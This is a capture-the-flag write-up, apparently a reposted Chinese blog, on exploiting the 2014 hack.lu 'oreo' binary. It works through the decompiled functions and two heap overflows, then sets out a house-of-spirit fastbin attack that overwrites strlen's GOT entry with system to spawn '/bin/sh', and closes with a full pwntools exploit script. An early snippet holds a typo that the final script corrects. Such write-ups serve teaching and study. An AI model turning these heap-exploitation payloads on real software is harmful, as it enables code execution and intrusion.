zoukankan      html  css  js  c++  java
  • 2014-hack-lu-oreo 堆技巧house of spirit

    常规检查

      没有开启 RELRO ,意味我们可以修改 got 表地址。

    逆向分析

    What would you like to do?
    
    1. Add new rifle
    2. Show added rifles
    3. Order selected rifles
    4. Leave a Message with your Order
    5. Show current stats
    6. Exit!
    Action: 
    
    

    Add 函数

    unsigned int add()
    {
      char *v1; // [esp+18h] [ebp-10h]
      unsigned int v2; // [esp+1Ch] [ebp-Ch]
    
      v2 = __readgsdword(0x14u);
      v1 = dword_804A288;
      dword_804A288 = malloc(0x38u);
      if ( dword_804A288 )
      {
        *(dword_804A288 + 13) = v1;
        printf("Rifle name: ");
        fgets(dword_804A288 + 25, 56, stdin);
        set0(dword_804A288 + 25);
        printf("Rifle description: ");
        fgets(dword_804A288, 56, stdin);
        set0(dword_804A288);
        ++dword_804A2A4;
      }
      else
      {
        puts("Something terrible happened!");
      }
      return __readgsdword(0x14u) ^ v2;
    }
    
    • dword_804A288:存储构造的块地址
    • *(dword_804A288 + 13):在块地址的 13 字节处写入上一个块的地址
    • *(dword_804A288 + 25):在块地址的 25 字节处写入 name ,可以写入 56 个字节,这里存在堆溢出
    • *(dword_804A288):在块地址的起始处写入 description ,可以写入 56 个字节,这里存在堆溢出
    • dword_804A2A4:记录 add 次数

    Show 函数

    unsigned int show()
    {
      char *i; // [esp+14h] [ebp-14h]
      unsigned int v2; // [esp+1Ch] [ebp-Ch]
    
      v2 = __readgsdword(0x14u);
      printf("Rifle to be ordered:
    %s
    ", "===================================");
      for ( i = dword_804A288; i; i = *(i + 13) )
      {
        printf("Name: %s
    ", i + 25);
        printf("Description: %s
    ", i);
        puts("===================================");
      }
      return __readgsdword(0x14u) ^ v2;
    }
    

      *(dword_804A288 + 13) 是上一个块的地址,所以 for 通过 *(dword_804A288 + 13) 寻址遍历所有的块,并打印信息。

    Order 函数

    unsigned int order()
    {
      char *ptr; // ST18_4
      char *v2; // [esp+14h] [ebp-14h]
      unsigned int v3; // [esp+1Ch] [ebp-Ch]
    
      v3 = __readgsdword(0x14u);
      v2 = dword_804A288;
      if ( dword_804A2A4 )
      {
        while ( v2 )
        {
          ptr = v2;
          v2 = *(v2 + 13);
          free(ptr);
        }
        dword_804A288 = 0;
        ++dword_804A2A0;
        puts("Okay order submitted!");
      }
      else
      {
        puts("No rifles to be ordered!");
      }
      return __readgsdword(0x14u) ^ v3;
    }
    

      遍历并 free 掉所有块

    • dword_804A2A0:记录 order 的次数

    Leave 函数

    unsigned int leave()
    {
      unsigned int v0; // ST1C_4
    
      v0 = __readgsdword(0x14u);
      printf("Enter any notice you'd like to submit with your order: ");
      fgets(dword_804A2A8, 128, stdin);
      set0(dword_804A2A8);
      return __readgsdword(0x14u) ^ v0;
    }
    

      把 Message 写入 dword_804A2A8 处

    show 函数

    unsigned int show_0()
    {
      unsigned int v1; // [esp+1Ch] [ebp-Ch]
    
      v1 = __readgsdword(0x14u);
      puts("======= Status =======");
      printf("New:    %u times
    ", dword_804A2A4);
      printf("Orders: %u times
    ", dword_804A2A0);
      if ( *dword_804A2A8 )
        printf("Order Message: %s
    ", dword_804A2A8);
      puts("======================");
      return __readgsdword(0x14u) ^ v1;
    }
    

      分别打印 new 次数, order 次数和 message 内容。

    利用思路

      首先通过堆溢出泄露出 libc 的基址,然后通过 house of spirit 技术伪造 chunk 获得一个任意地址写的 chunk,然后我们把 system 地址写入 got 表,再次调用函数即可 get shell。

    利用过程

    泄露 libc 基址

    name = "A" * 27 + p32(elf.got['printf'])
    desc = 'b' * 24
    
    add(name,desc)
    show()
    r.recvuntil('Description: ')
    r.recvuntil('Description: ')
    printfAddr = u32(r.recvn(4))
    baseAddr = printAddr = libc.symbols['printf']
    systemAddr = baseAddr + libc.symbols['system']
    

      *(dword_804A288 + 13) 为 dword_804A288 后52个字节, name dword_804A288 + 25 为 dword_804A288 后 25 个字节,所以需要填充 27 个字节

    伪造区块到 0x804a2a0

    for i in range(0x3e):
    	add('a'* 27 + p32(0), 'a')
    
    orderMsgAddr = 0x804a2a8
    vulnName = 'C' * 27 + p32(orderMsgAddr)
    add(vulnName,'D' * 24)
    
    orderMsg = 'a' * (0x38 - (0xc0 - 0xa8) - 4)
    orderMsg += 'x00' * 4 + 'a' * 4 + p32(0x40)
    leave(orderMsg)
    order()
    

      我们想要一个能够让我们任意写的块,就需要用到 fastbin ,因为 fastbin 是 LIFO 的,只要我们 free 和 malloc 一样大小的 fastbin ,就能 malloc 到上次 free 的块。而 free 和 malloc 的时候都需要 size 满足 fastbin 的 index ,所以我们通过 add 0x40 次,将 fack chunk 的 size 改为 40。

    gdb-peda$ x /20xg 0x0804a2a8
    0x804a2a8:	0x000000000804a2c0	0x0000000000000000
    0x804a2b8:	0x0000000000000000	0x6161616161616161
    0x804a2c8:	0x6161616161616161	0x6161616161616161
    0x804a2d8:	0x0000000061616161	0x0000004061616161
    
    

      malloc 的时候还需要绕过 next chunk 的大小判断,而我们的 messge 是从 00804a2c0 开始写的,于是我们可以算的 next chunk 的偏移并改 next chunk 的 size 为 0x40 (大于 2 * SIZE_SZ 且小于 av->system_mem 就可以),这样当我们再次再 add 的时候,就能 malloc 到起始地址为 0x804a2a0 的块。

    覆盖 got 表为 system 拿 shell

    strlenGotAddr = p32(elf.got['strlen'])
    add('b',strlenGotAddr)
    leave(p32(systemAddr) + ';/bin/sh')
    

      这里首先把 strlen 的 got 表改为 system 地址,然后在 leave 的 set0 函数中还会再次调用 strlen ,就相当于调用了 system(system_got) 和 system('/bin/sh')。因为 system 函数有个特性,system("ls;/bin/sh") 就相当于 sytem("ls"); system("/bin/sh");。

    exp脚本

    from pwn_debug import *
    
    pdbg = pwn_debug('oreo')
    pdbg.local()
    r = pdbg.run('local')
    elf = ELF('./oreo')
    libc = ELF('/lib/i386-linux-gnu/libc.so.6')
    
    def add(name,desc):
    	r.sendline('1')
    	r.sendline(name)
    	r.sendline(desc)
    
    def show():
    	r.sendline('2')
    
    def order():
    	r.sendline('3')
    
    def leave(message):
    	r.sendline('4')
    	r.sendline(message)
    
    
    name = "A" * 27 + p32(elf.got['printf'])
    desc = 'b' * 24
    
    add(name,desc)
    show()
    r.recvuntil('Description: ')
    r.recvuntil('Description: ')
    printfAddr = u32(r.recvn(4))
    baseAddr = printfAddr - libc.symbols['printf']
    systemAddr = baseAddr + libc.symbols['system']
    
    for i in range(0x3e):
    	add('a'* 27 + p32(0), 'a')
    
    orderMsgAddr = 0x804a2a8
    vulnName = 'C' * 27 + p32(orderMsgAddr)
    add(vulnName,'D' * 24)
    
    orderMsg = 'a' * (0x38 - (0xc0 - 0xa8) - 4)
    orderMsg += 'x00' * 4 + 'a' * 4 + p32(0x40)
    leave(orderMsg)
    
    #gdb.attach(r)
    order()
    
    strlenGotAddr = p32(elf.got['strlen'])
    add('b',strlenGotAddr)
    leave(p32(systemAddr) + ';/bin/sh')
    
    #gdb.attach(r)
    
    r.interactive()
    
    

    成功 get shell

    内容来源

    [堆利用之 house of spirit](https: //zhuanlan.zhihu.com/p/61546352)

  • 相关阅读:
    pycharm中以pytest的方式运行测试用例
    jmeter 固定吞吐量控制器 Constant Throughput Timer
    jmeter 循环控制器使用
    jmeter 24个常用函数
    jmeter 参数化取唯一值
    jmeter之json提取器
    【转】Jmeter如何把响应数据的结果保存到本地的一个文件
    jmeter测试并发
    jmeter参数为Excel表格
    jmeter接口调用
  • 原文地址:https://www.cnblogs.com/luoleqi/p/12357237.html
Copyright © 2011-2022 走看看